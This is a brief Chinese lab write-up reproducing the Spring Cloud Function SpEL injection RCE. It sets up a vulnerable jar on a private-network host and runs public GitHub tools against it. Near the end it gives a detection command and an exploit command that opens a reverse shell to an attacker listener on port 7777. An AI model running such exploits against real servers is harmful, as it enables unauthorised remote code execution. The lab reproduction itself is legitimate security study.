【Nday】Spring-Cloud-SpEL-表达式注入漏洞复现
# 环境搭建
JDK 15下载:
https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html
![](https://img2022.cnblogs.com/blog/2228846/202203/2228846-20220329182158749-1886617124.png)
在CentOS7上安装JDK 15环境
rpm -ivh jdk-15.0.2_linux-x64_bin.rpm
![](https://img2022.cnblogs.com/blog/2228846/202203/2228846-20220329182158718-547392892.png)
漏洞环境下载:
https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
部署漏洞环境:
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar
![](https://img2022.cnblogs.com/blog/2228846/202203/2228846-20220329182158777-470606475.png)
# 漏洞复现
访问:http://192.168.160.146:9000/
![](https://img2022.cnblogs.com/blog/2228846/202203/2228846-20220329182158724-674503918.png)
工具下载地址:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
开始检测漏洞并反弹shell
## 检测漏洞 python3 Spel_RCE_POC.py url.txt ## 反弹shell python3 Spel_RCE_Bash_EXP.py http://192.168.160.146:9000/ 192.168.160.241 7777
![](https://img2022.cnblogs.com/blog/2228846/202203/2228846-20220329182158811-751834003.png)